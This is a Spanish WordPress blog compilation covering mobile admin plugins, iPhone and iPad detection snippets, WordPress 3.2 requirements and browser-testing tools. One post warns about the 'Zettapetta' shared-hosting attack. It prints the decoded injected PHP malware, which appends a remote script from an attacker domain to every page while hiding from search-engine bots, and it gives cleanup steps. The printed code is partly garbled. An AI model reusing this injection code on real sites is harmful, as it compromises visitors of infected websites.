Escritorio WordPress adaptado para móviles

Si has visitado el escritorio de WordPress desde un dispositivo móvil, y no estoy hablando a través de las aplicaciones oficiales, sino en navegación normal, seguro que estás de acuerdo conmigo en que la experiencia deja mucho que desear, y no solo por el tamaño.

Da igual si es desde un móvil Android, o un iPhone, el escritorio de WordPress no está todo lo adaptado que nos gustaría para este tipo de navegación móvil táctil, ni de coña.

Afortunadamente hay solución.

Juiz Smart Mobile Admin es un plugin que viene a solucionar este problema,  y para ello ofrece este gran elenco de funcionalidades … que estabas esperando:

  • Traducible (en la versión actual soporta inglés y francés)
  • Puedes hacer zoom en cualquier área
  • Enlaces de salto (del pié de página al contenido, del contenido al menú)
  • Deslizamiento automático en el contenido cuando haces clic en un elemento de menú.
  • Oculta automáticamente la barra de direcciones de Safari en iOS.
  • Mejoras en la visualización de tablas
  • Soporte de la barra de Admin de WordPress

Aún no siendo una solución perfecta en la versión actual, es una estupendo sustituto del escritorio por defecto en dispositivos móviles de pantalla pequeña (en un iPad se maneja mejor el escritorio y desde WordPress 3.3 mejoró mucho con el diseño adaptativo).

juiz4 juiz3 juiz2 juiz1

Detectar usuarios con iPhone de forma nativa en WordPress

Ayuda WordPress iPhone

Aunque hay algunos plugins, y temas, que sirven para ofrecer una versión móvil de tu sitio WordPress a usuarios de dispositivos móviles como iPhone igual tiene sentido usar una variable nativa que ya existe en WordPress para detectar este tipo de cacharritos y así prescindir de ayudas externas ¿sabías que existía esta función?, pues existe.

Así que, si te animas, es bastante fácil, solo tienes que hacer dos pasos: crear la función y añadir un poco de CSS para que se vea distinto (es lo menos ¿no?).

Vamos a ver como sería … 

1. Crear la función

Asegúrate, eso si, de que pegas la función antes del cierre de la etiqueta . Por defecto, por ejemplo, el tema TwentyEleven usa la función body_class(); en la cabecera del fichero header.php para añadir clases de manera dinámica a la etiqueta < body >, pero cada tema es distinto.

Por ejemplo, si estás viendo una página en WordPress, es un ejemplo de una clase para el cuerpo de una página o entrada sencilla, lo que te permite cambiar el estilo de ciertos elementos de tu diseño de manera dinámica usando CSS. Si tu tema no usa la etiqueta body_class(); inclúyela de este modo:

PHP:
  1. <body <?php body_class(); ?>>

WordPress dispone de variables globales que pueden usarse para detectar navegadores, como la que aquí estamos tratando, la variable $is_iphone. Esta variable está incluida en el fichero vars.php de la instalación de WordPress, en estas líneas:

PHP:
  1. if ( $is_safari && stripos($_SERVER['HTTP_USER_AGENT'], 'mobile') !== false )
  2.   $is_iphone = true;

Vamos a usar esta variable junto con la clase 'body'. Para hacerlo primero escribimos esta función:

PHP:
  1. <?php
  2. function detectar_iphone($iphone) {
  3.     global $is_iphone;
  4.     if($is_iphone) $iphone[] = 'iphone';
  5.     return $iphone;
  6. }
  7. add_filter('body_class','detectar_iphone');
  8. ?>

Ya tenemos hecha la función. Lo primero que hace es darle un nombre, en este caso 'detectar_iphone', para poder reconocerla entre el resto de funciones. Luego se le añade la variable 'global', nuestra ya querida $is_iphone, esto se hace así porque la variable está definida fuera de nuestra función. A continuación le decimos a WordPress que si se produce esa condición (que hay un iPhone navegando por nuestro sitio) añadamos 'iphone' a nuestra clase 'body'. Una vez lo tenemos ya podemos pegar este código de arriba antes de < / head > en nuestro tema activo, normalmente en el archivo header.php, como he comentado antes.

2. Un poco de CSS

Como ya hems creado la función ya solo nos queda crear un CSS específico para esa clase 'iphone' a la que llamamos. En la misma podemos añadir muchos elementos de estilo, como por ejemplo una etiqueta h1 distinta, algo así:

Por ejemplo, donde tengamos la clase h1 de nuestra hoja de estilos (habitualmente en el fichero style.css de nuestro tema activo) le vamos añadiendo la clase 'iphone' que adapte el diseño al dispositivo:

CSS:
  1. h1 {
  2. font-size: 30px;
  3. line-height: 110%;
  4. text-decoration: underline;
  5. }
  6.  
  7. .iphone h1 {
  8. font-size: 35px;
  9. text-decoration: none;
  10. color: #FF0000;
  11. }

Y así sucesivamente, hasta que ofrezcas una versión para iPhone totalmente a tu gusto.

¿Que no te animas?, pues puedes recurrir a plugins como mobble que añade más variables o WpTouch que lo hace todo el solito.

Contenido exclusivo para suscriptores al Feed

¡Gracias por seguirnos a diario!. Premiamos tu fidelidad ofreciéndote habitualmente contenidos exclusivos. Hoy puedes descargar:

Clic aquí para iniciar la descarga Guía para Administrar WordPress

Las novedades de WordPress 3.2

A nadie ya se nos escapa que tendremos WordPress 3.2 antes de que termine este mes (la fecha prevista es el 30 de Junio de 2011). La traducción la tenemos prácticamente terminada y se están dando los últimos retoques. Vamos, que no queda casi nada.

Y, como ya hemos visto los requisitos ¿qué te parece si hacemos repaso de las novedades de WordPress 3.2?, así decidirás con más criterio si te apetece (o interesa) actualizar en cuando salga o te vas a esperar a, digamos, WordPress 3.3.

Vamos a ver lo que nos trae de nuevo:

  1. Nueva interfaz de administración: Se ha redefinido completamente el escritorio y la mayoría de las pantallas. Desaparece el botón de acceso rápido y se ha rediseñado completamente la barra de menús de la izquierda,  con un nuevo funcionamiento más fluido, nuevos iconos. El aspecto de la administración en su totalidad se ha suavizado mucho, es más agradable en todos los sentidos.
  2. TinyMCE actualizado: El editor de entradas y páginas se ha actualizado, hasta el aspecto es también más minimalista, y su funcionamiento mejor en cada versión.
  3. Escritura sin distracciones: En el editor también encontrarás una de las novedades más visuales, el nuevo modo de escritura sin distracciones, que convierte - a golpe de un clic - tu editor en uno mucho más (de nuevo) minimalista, al estilo OmniWriter. Tendremos un botón tanto en el editor visual como en el HTML para pasar a "pantalla completa" y evitar distracciones. Los botones solo se hacen visibles en este modo al pasar el cursor por la parte superior de la pantalla. Personalmente me encanta.
  4. Mejoras en las actualizaciones: Las actualizaciones en las que solo se cambian algunos archivos se harán sin tocar los ficheros “core”. Si acaso se ofrecerá una actualización completa si hay muchos ficheros a modificar, a elección del usuario, sobreescribiendo los antiguos. Esto será efectivo para las actualizaciones menores dentro de la misma versión (de la 3.2 a la 3.2.1, por ejemplo).
  5. Mejoras de velocidad: Hay muchas pequeñas cosas que se pueden hacer aún para que WordPress cargue y se perciba más rápido. Se ha trabajado en la lenta carga de PHP y también en un parche para que el menú de admin cargue más rápido haciendo la expansión en PHP. Se podrá acelerar el Escritorio evitando peticiones asíncronas de los paneles si la cache está activa.
  6. Mejoras en la API de listado de tablas: más flexibilidad para uso de la API por parte de terceros.
  7. PHP 5.2.4 o superior obligatorio: Sin rémoras inseguras del pasado. No es cuestión de incorporar un montón de nuevas funcionalidades de PHP 5 sino de eliminar todo lo viejo y sustituirlo por lo nuevo.
  8. MySQL 5 también será obligatorio: No van a cambiar las queries, solo los requisitos para la instalación.
  9. El escritorio no soportará IE 6: Y además avisará de que actualices a cualquier navegador inferior a las versiones de Chrome 11, Safari 5, Firefox 4, Opera 11 e IE 9  . De ahí la iniciativa Browse happy.
  10. Twenty Eleven: El nuevo tema por defecto es 2011, aunque aún tendrás en la instalación por defecto instalado Twenty Ten. El nuevo tema es … genial. La única pega es el tamaño de la imagen de cabecera (1000x288), seguramente algo grande para muchos, pero ya hay hasta un plugin para modificar esto. También seguro que te encantará poder mostrar una portada con una lista de tus entradas favoritas, y mucho más. Por supuesto soporta todas las novedades y microformatos.
  11. Página de créditos: una página especial con agradecimientos a los principales colaboradores del proyecto WordPress.
  12. Enlaces internos también en el editor HTML: La funcionalidad de enlaces internos ya disponible llega también al editor HTML, tanto en el modo normal como el de sin distracciones.

Y yo creo que no se me olvida nada, y sino nos lo recuerdas en los comentarios.

Contenido exclusivo para suscriptores al Feed

¡Gracias por seguirnos a diario!. Premiamos tu fidelidad ofreciéndote habitualmente contenidos exclusivos. Hoy puedes descargar:

Clic aquí para iniciar la descarga Guía Windows Live Writer

¿Estás preparado para WordPress 3.2?

¡Ah, que no lo sabes!

Pues está a punto de salir la versión mayor WordPress 3.2 y tendrá importantes novedades y, lo que es más importante en este momento, nuevos requisitos.

Así que ve tomando nota y comprueba si estás preparado para WordPress 3.2

Requisitos de WordPress 3.2

WordPress 3.2 trae requisitos a nivel de servidor, y recomendaciones de uso de navegadores en base a la iniciativa Browse Happy, toma nota:

  1. PHP 5.2.4 o superior (requerido)
  2. MySQL 5.0 o superior (requerido)
  3. Módulo mod_rewrite de Apache (requerido)
  4. Chrome 11 o superior (recomendado)
  5. Firefox 4 o superior (recomendado)
  6. Safari 5 o superior (recomendado)
  7. Opera 11.10 o superior (recomendado)
  8. Internet Explorer 9 o superior (recomendado)

¿Como compruebo mis versiones?

Aquí tienes unas indicaciones:

  1. Versión de PHP: Puedes revisar la página de información de tu proveedor de alojamiento o introducir la URL de tu sitio en este comprobador
  2. Versión de MySQL: Revisando la información de tu proveedor, con el plugin LAMP version checker o con el comando --version, -V
  3. Módulo Apache mod_rewrite: Lo más fácil para comprobar si está activo el módulo es introducir esto en tu fichero .htaccesss y probar a ver si puedes ver los archivos dentro de las carpetas a través del navegador:
    PHP:
    1. Options +FollowSymLinks
    2. RewriteEngine On

    Si no ves nada simplemente es que está instalado, si recibes un Error 500 es que no está activo

  4. Versión del navegador: Desde Browse happy tienes acceso a los enlaces de descarga de los principales

¡Ea, a prepararse tocan!

Comprueba tu web con varios navegadores


browserlab Comprueba tu web con varios navegadores

Entre tanto navegador y estándares web muchos diseñadores y programadores nos volvemos locos a la hora de hacer que una página web funcione bien en cualquier sistema operativo y navegador. Y es que quien no sufre cada día que una web se vea igual en Firefox, Internet Explorer, Chrome, Opera, Safari, ….

Para facilitarnos el trabajo hay una serie de herramientas o aplicaciones online que permite realizar pruebas de como se ven nuestras páginas webs en diferentes navegadores y versiones de los mismos.

Aquí os dejo una pequeña lista:

  • BrowserLab de Adobe.
    Actualmente es mi preferido, aunque no los tiene todos, tiene los principales desde Internet Explorer 6, 7, 8 y 9 beta, firefox 2, 3 y 4 beta, Safari 4 y 5, chrome 8 y 9, …. Carga casi en tiempo real. Funciona bien en Windows, Linux y Mac.
  • Browsershots
    Otro servicio con una gran variedad de navegadores disponibles (algunos como Netscape, Flock, SeaMonkey, Konqueror, …), realmente completo. Es gratis pero igual desesperas con lo que tarda en generarse la captura. Siempre puede pagar 29,95 dólares para tener prioridad de carga. Además tienen parte de su código bajo licencia GPL para colaborar con las capturas.
  • Spoon
    Este permite además visitas interactivas con algunos navegadores como Chrome, Firefox y Opera (parece que Explorer por petición de Microsoft no está soportado). Es totalmente gratis. Aunque desde mi Mac se niega funcionar.
  • Browserling
    Ejecuta los navegadores en instancias virtuales para permitir interactividad. Ahora mismo es gratis durante el tiempo que dure su Beta pero necesitas registro para tener sesiones de 5 minutos si no quieres que tu sesión sea de poco más de 90 segundos. Tiene muy buena pinta y soporta Explorer, Firefox, Safari, Opera y Chrome. Y además funciona sin problemas en Mac.
  • Multi-Browser Viewer
    Programa para windows que requiere suscripción y permite probar tu web en más de 20 navegadores. Además tiene soporte para navegadores móviles. Se puede probar gratis, pero después tendrás que pagar. Creo que no merece la pena con las opciones gratis que existen.
  • IETester
    Para probar la compatibilidad de tus páginas webs con las antiguas versiones de Internet Explorer 5.5 hasta las nuevas, las 9.0.
  • BrowserSeal
    Otra opción para instalar en Windows y probar la compatibilidad de tu web con navegadores explorer, firefox, chrome, opera y safari. Es comercial aunque podéis probarlo.

¿Conoces más opciones para probar la compatibilidad de tu web en múltiples navegadores web?

Original Post / Entrada Original: Carrero.es. Si quieres Juegos Gratis disfruta aquí o decora tu casa.

Comprueba tu web con varios navegadores

Barra de admin donde quieras

A falta de una barra al estilo de WordPress.com hay un Javascript en forma de "bookmarlet", WP Toolbar, que, añadido a la barra de favoritos de tu navegador te permite acceder a las funciones habituales de administración de WordPress.

Ahora bien, no va a permitirte acceso a nada que no tengas acceso ya, o sea, que si no tienes un usuario registrado en este blog, aunque veas los enlaces no podrás entrar y hacer todo lo que se muestra, solo aquello a lo que habitualmente tengas permiso como usuario registrado, valga la aclaración para que no te lleves a engaño, que esto no es un atajo para entrar en cualquier WordPress.

Lo que si ofrece es una serie de iconos, una vez hecho clic en el bookmarlet, desde los que acceder a las secciones de administración habituales en tus WordPress, mientras los visitas, no desde otra web que visites. Digamos que, por ejemplo, estás leyendo una entrada de tu blog y te das cuenta de que querías modificar algo del tema, pues no hace falta que teclees la dirección para acceder al escritorio, solo haces clic en el bookmarlet y eliges la opción adecuada, así de fácil.

Además, para los que no gusten de usar bookmarlets también hay una extensión de GreaseMonkey, instalable en Firefox por ejemplo, e incluso una extensión para el navegador Safari. Por opciones que no quede.

Adapta tu sitio para iPad

No hay duda, el iPad está revolucionando el mundo de la informática a pasos agigantados. Si hasta hace meses nadie daba un euro por un tablet PC, de repente, Apple saca a la luz el iPad y todo el mundo descubre que necesita el cacharrito (yo incluído).

Y como el iPad incorpora nuevos modos de navegación (principalmente), distintos a los hasta ahora conocidos, una nueva experiencia de "tocar la web", mal haremos si no adaptamos nuestro sitio creado con WordPress a las características del iPad. Vamos, que hay que actualizarse.

Desafortunadamente, aún no hay casi nada para adaptar nuestro sitio WordPress para iPad. Temas no se encuentran y plugins solo hay que incorporan algún tipo de funcionalidad, pero nada completo, que transforme nuestro WordPress en una web nativa para iPad. Parece que la única opción ahora mismo es diseñar una versión de nuestra web exclusiva para iPad y que el 'user_agent' detecte el dispositivo y la muestre.

Pero no, todo tiene solución, en algunos casos pasando por caja … 

PadPressed es hasta ahora la única solución completa específica para WordPress, y de resultado espectacular, que convierte nuestro sitio en una web nativa para iPad en cuando detecta que nuestro visitante usa el dispositivo de moda. Si necesitas una solución rápida ahora mismo es lo mejor que puedes encontrar, y si lo miras bien el precio no es caro para el trabajo que te ahorra.

En este vídeo puedes ver el fantástico resultado … 

Hay un vídeo en este post, me temo que tendrás que hacer clic aquí para verlo

¿Más opciones?, pues usar un theme exclusivo para iPad como estos … 

O sino seguir una de estas guías con las que adaptar tu sitio al iPad:

Contenido exclusivo para suscriptores al Feed

¡Gracias por seguirnos a diario!. Premiamos tu fidelidad ofreciéndote habitualmente contenidos exclusivos. Hoy puedes descargar:

Clic aquí para iniciar la descarga Guía para Administrar WordPress

Tema 3D con CSS3

La verdad es que es una virguería, quizás poco práctico, pero visualmente muy interesante y lleno de posibilidades. El tema 3D hecho con CSS3 que ha desarrollado Nathan Barry puede que sea el primero de su clase, pero seguro que pronto veremos muchos más que aprovechen las características de CSS3.

De momento, como el único navegador que soporta CSS3 completamente es Safari, solo lo podrás disfrutar en toda su belleza con este navegador, pues en Chrome o Firefox verás un tema bonito, chulo, pero mucho menos impresionante. Lo mejor es que te descargues la última versión de Safari para disfrutarlo.

De momento aquí te dejo un vídeo donde podrás verlo en acción … 

El tema es gratuito así que puedes descargarlo y probarlo para algún proyecto especialito que tengas por ahí o, si tienes Safari, ver la Demo.

¿Te gustó este post? ¡Compártelo! Bitacoras.com TwitThis Facebook Meneame Google Bookmarks del.icio.us Live Technorati Ping.fm Wikio Turn this article into a PDF! E-mail this story to a friend! Print this article!

Zettapetta: Nuevo ataque a servidores compartidos

Desde hace unos días hay nuevas noticias de ataques a sitios que estén basados en PHP, como lo está WordPress, y hoy ya puedo dar indicaciones algo claras al respecto, perdonad el retraso no obstante.

Lo primero a aclarar es que no es un ataque masivo a WordPress, sino que esta inyección de código afecta a cualquier web basada en PHP y, a día de hoy, el otro dato relevante es que además compartan servidor, no está pasando en servidores dedicados. De hecho, si fuera un ataque masivo a WordPress habría muchos más sitios infectados, dado la enorme implantación que a día de hoy (gracias a vosotros) tiene este CMS.

Esto nos hace pensar en dos posibles causas, una segura. La primera es que el atacante utiliza vulnerabilidades de seguridad del servidor en el que está alojado y que comparte con otros sitios, y la segunda que algo está permitiendo que el código se inyecte en los ficheros PHP de los sitios atacados, ya sea un plugin mal diseñado, una mala configuración de seguridad del CMS utilizado. No obstante yo apuesto por la primera opción porque el Zettapetta este ha infectado sitios estáticos en donde había un par de ficheros PHP sueltos y, como ya he dicho, si fuera algo especial para WordPress estaríamos todos infectados, o casi, y no es así.

Este caso es especialito, porque incluso hay un vídeo en el que el supuesto causante explica como inyectar código en servidores compartidos de Networks Solutions ¡sin tener que robar nombres de usuario y/o contraseñas!

Afortunadamente hay solución.

Los atacantes están infectando las webs con un script que trata de inyectar software malicioso a los sitios "cliente" y, además, evita que los mecánismos anti-malware que incluyen los modernos navegadores como Firefox y Safari puedan detectarlo.

El script afecta a cualquier servidor compartido, y ya se han comprobado ataques en varios proveedores de hosting de primer nivel, como Mediatemple.

En los sitios atacados se insertaba este javascript:

http://www.indesignstudioinfo.com/ls.php

http://zettapetta.com/js.php

Y lo que hace el Zettapetta este de las narices es añadir un montón de código en base64 al principio de todos los ficheros PHP que se encontrara en el servidor, recursivamente. Vamos, que si entra en tu WordPress infecta todos los ficheros 'core', los de los plugins, los temas, todo, hasta el wp-config.php y los index.php habitualmente vacíos.

Una vez descodificado el base64 lo que contiene es esto:

PHP:
  1. if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){ return base64_decode("<script src="http://indesignstudioinfo.com/ls.php"></script>"); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode(<script src="http://indesignstudioinfo.com/ls.php"></script>){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }

El bicho tiene tela así que a limpiar se ha dicho … 

Lo primero es probar el hack que han elaborado en Securi.net. Descargas este archivo a tu escritorio:
http://sucuri.net/malware/helpers/wordpress-fix_php.txt y lo renombras a wordpress-fix.php

Una vez hecho esto lo subes a tu sitio por FTP y lo ejecutas desde el navegador. O sea: http://miweb.com/wordpress-fix.php

El script tarda unos minutos en completarse ya que escanea todo tu sitio y quita las entradas de malware, recursivamente también.

Cuando termine puedes borrar el archivo y, a continuación, para asegurar que dejas todo limpio, seguir estas indicaciones, las de siempre:

  • Exporta todo tu contenido mediante la utilidad de exportación de WordPress y guarda la carpeta wp-content así como cualquier otra que utilices de modo manual. Revisa tu tema, plugins y carpetas de uploads, etc, antes de darlos por seguros.
  • Revisa el fichero wp-config.php para eliminar cualquier posible inyección de código, cambia los permisos a 644 o, mucho mejor, carga un wp-config.php totalmente limpio.
  • Cambia todas las contraseñas: ftp, base de datos. Usa contraseñas fuertes, usando caracteres alfanuméricos y símbolos
  • Como el problema afecta a la base de datos hay que descartarla. Borra la actual y crea una nueva o, en su defecto, revisa cada una de las tablas
  • Borra todo el contenido de la instalación actual de WordPress (recuerda que antes has hecho backup)
  • Instala un WordPress limpio (última versión), usando la información de la nueva base de datos recién creada
  • Carga tu carpeta wp-content de nuevo, una vez comprobado que todo está limpio
  • Importa los posts de tu sitio que exportaste con la utilidad de importación de WordPress
  • Configura tu WordPress de manera segura siguiendo las instrucciones de los enlaces facilitados

¡Que el backup te acompañe!

Contenido exclusivo para suscriptores al Feed

¡Gracias por seguirnos a diario!. Premiamos tu fidelidad ofreciéndote habitualmente contenidos exclusivos. Hoy puedes descargar:

Clic aquí para iniciar la descarga Guía para Administrar Wordpress

¿Te gustó este post? ¡Compártelo! Bitacoras.com TwitThis Facebook Meneame Google Bookmarks del.icio.us Live Technorati Ping.fm Wikio Turn this article into a PDF! E-mail this story to a friend! Print this article!

Prepara tu sitio para iPhone

Impresionante la recopilación realizada por Cats who code sobre códigos con los que adaptar tu sitio a la visualización en iPhone. Como creo que es de un gran interés para desarrolladores y usuarios avanzados y que, por supuesto, son aplicables a WordPress, aquí los tienes con alguna adaptación a nuestro entorno:

Detectar iPhones e iPods usando Javascript

Al desarrollar para iPhone o iPod Touch lo primero que hay que hacer es detectarlo para que, luego, le apliquemos códigos o estilos. El siguiente código d etecta iPhones o iPods usando Javascript, y los redirige a una página  específica para iPhone.

JavaScript:
  1. if((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) {
  2.     if (document.cookie.indexOf("iphone_redirect=false") == -1) {
  3.         window.location = "http://m.espn.go.com/wireless/?iphone&i=COMR";
  4.     }
  5. }

Fuente: http://davidwalsh.name/detect-iphone

Detectar iPhones e iPods usando PHP

Aunque el código anterior funciona de maravilla puede que Javascript esté desactivado en el iPhone. Si fuera el caso puedes usar PHP para detectar iPhones o iPods Touch.

PHP:
  1. if(strstr($_SERVER['HTTP_USER_AGENT'],'iPhone') || strstr($_SERVER['HTTP_USER_AGENT'],'iPod')) {
  2.     header('Location: http://yoursite.com/iphone');
  3.     exit();
  4. }

Fuente: http://davidwalsh.name/detect-iphone

Definir el ancho de iPhone como viewport

En muchas ocasiones visitas una web con tu iPhone y la ves en miniatura. La razón es que el desarrollador olvidó definir el viewport (o no sabe que existe). La declaración de width=device-width te permite definir el ancho del documento al ancho de la pantalla del iPhone. Las otras dos declaraciones son muy útiles si estás desarrollando un sitio  "solo para iPhone". En caso contrario puedes borrar estas dos declaraciones.
Definir un viewport es fácil: Simplemente inserta el siguiente meta en la sección "head" de tu sitio (fichero "index.php" de la plantilla activa):

PHP:
  1. <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;">

Fuente: http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/

Insertar un icono específico para iPhone

Cuando un usuario añade tu web a su página de inicio el iPhone usa una captura de pantalla de tu sitio como icono. Pero tu puedes ofrecer un icono específico, lo que es mucho mejor.
Definir un icono personalizado para iPhone es fácil: Simplemente pega el siguiente código en la sección "head" de tu sitio (fichero "index.php" de la plantilla activa). La imagen debe ser de 57px por 57px en formato .png. No tienes por qué añadir brillos o esquinas ya que el iPhone las añade automáticamente:

PHP:
  1. <rel="apple-touch-icon" href="images/template/engage.png"/>

Fuente: http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/

Evitar que Safari ajuste el tamaño de texto al rotar

Cuando rotas el iPhone, Safarie ajusta el tamaño de texto. Si por algún motivo prefieres evitar este efecto solo tienes que usar el siguiente CSS, que tendrás que añadir a tu hoja de estilos (fichero "style.css" de tu plantilla activa).
La declaración -webkit-text-size-adjust es una propiedad CSS exclusiva de webkit que permite controlar el ajuste de texto.

CSS:
  1. html, body, form, fieldset, p, div, h1, h2, h3, h4, h5, h6 {
  2.     -webkit-text-size-adjust:none;
  3. }

Fuente: http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/

Detectar la orientación del iPhone

Como el iPhone permite ver la página en vertical o apaisdo puede que necesites detectar en qué modo el documento será visible.
Esta función Javascript detecta la orientación actual del iPhone y aplica una clase CSS específica para cada modo de orientación. Fíjate que en este ejemplo la clase CSS se añade al ID del  page_wrapper. Remplázalo por el nombre de ID deseado (línea 24)

CSS:
  1. window.onload = function initialLoad() {
  2.     updateOrientation();
  3. }
  4.  
  5. function updateOrientation(){
  6.     var contentType = "show_";
  7.     switch(window.orientation){
  8.         case 0:
  9.     contentType += "normal";
  10.     break;
  11.  
  12.     case -90:
  13.     contentType += "right";
  14.     break;
  15.  
  16.     case 90:
  17.     contentType += "left";
  18.     break;
  19.  
  20.     case 180:
  21.     contentType += "flipped";
  22.     break;
  23.     }
  24.     document.getElementById("page_wrapper").setAttribute("class", contentType);
  25. }

Fuente: http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/

Aplicar estilos CSS solo para iPhones/iPods

Si buscas un modo limpio de aplicar clases CSS solo para iPhone puedes usar el siguiente código:

CSS:
  1. @media screen and (max-device-width: 480px){
  2.     /* Todo el CSS para iPhone va aqui */
  3. }

Fuente: http://csswizardry.com/2010/01/iphone-css-tips-for-building-iphone-websites/

Redimensionar imágenes automáticamente para iPhones

En las webs actuales la mayoría de las imágenes suelen ser de un ancho superior a 480px. Al ser de este tamaño la pantalla del iPhone puede que las imágenes más grandes se vean incorrectamente, incluso destrozando el diseño de tu sitio.

Pues bien, usando el siguiente código CSS podrás redimensionar automáticamente las imágenes que sean de un ancho mayor de 480px, el ancho estándar del iPhone, con lo que nunca se verán más anchas y no desconfigurarán tu sitio al visualizarse en un iPhone.

CSS:
  1. @media screen and (max-device-width: 480px){
  2.     img{
  3.         max-width:100%;
  4.         height:auto;
  5.     }
  6. }

Fuente: http://csswizardry.com/2010/01/iphone-css-tips-for-building-iphone-websites/

Ocultar la barra de tareas por defecto

La barra de tareas es útil pero a veces ocupa demasiado sitio, que vendría estupendo para mostrar mejor tu web. Si quieres que Safari oculte la barra por defecto cuando un usuario de iPhone visite tu sitio solo tienes que añadir el siguiente Javascript:

JavaScript:
  1. window.addEventListener('load', function() {
  2.     setTimeout(scrollTo, 0, 0, 1);
  3. }, false);

Fuente: http://articles.sitepoint.com/article/iphone-development-12-tips/2

Usar enlaces especiales

Al igual que con los enlaces "mailto", tan útiles para que te envíen emails, si se visualiza tu web con un iPhone puedes añadir otro tipo de enlaces que ejecutarán acciones, gracias a la función de teléfono de este miniordenador de bolsillo.

Si quieres ofrecer enlaces para que te llamen o te envíen un SMS puedes usar códigos html de este tipo:

HTML:
  1. <a href="tel:12345678900">Llámame</a>

HTML:
  1. <a href="sms:12345678900">Mándame un SMS</a>

Fuente: http://articles.sitepoint.com/article/iphone-development-12-tips/3

Simular la clase pseudo :hover

Como no se usa ratón en el iPhone no se utiliza la pseudo clase :hover. Sin embargo,  usando Javascript puedes simular la clase pseudo :hover cuando el usuario apoye el dedo sobre un enlace:

JavaScript:
  1. var myLinks = document.getElementsByTagName('a');
  2. for(var i = 0; i <myLinks.length; i++){
  3.    myLinks[i].addEventListener('touchstart', function(){this.className = "hover";}, false);
  4.    myLinks[i].addEventListener('touchend', function(){this.className = "";}, false);
  5. }

Tras añadir el código anterior puedes aplicar algo de estilo CSS:

CSS:
  1. a:hover, a.hover {
  2.     /* el efecto hover que sea*/
  3. }

Fuente: http://www.evotech.net/blog/2008/12/hover-pseudoclass-for-the-iphone/

Contenido exclusivo para suscriptores al Feed

¡Gracias por seguirnos a diario!. Premiamos tu fidelidad ofreciéndote habitualmente contenidos exclusivos. Hoy puedes descargar:

Clic aquí para iniciar la descarga Guía para Administrar Wordpress

¿Te gustó este post? ¡Compártelo! Bitacoras.com TwitThis Facebook Meneame Google Bookmarks del.icio.us Live Technorati Ping.fm Wikio Turn this article into a PDF! E-mail this story to a friend! Print this article!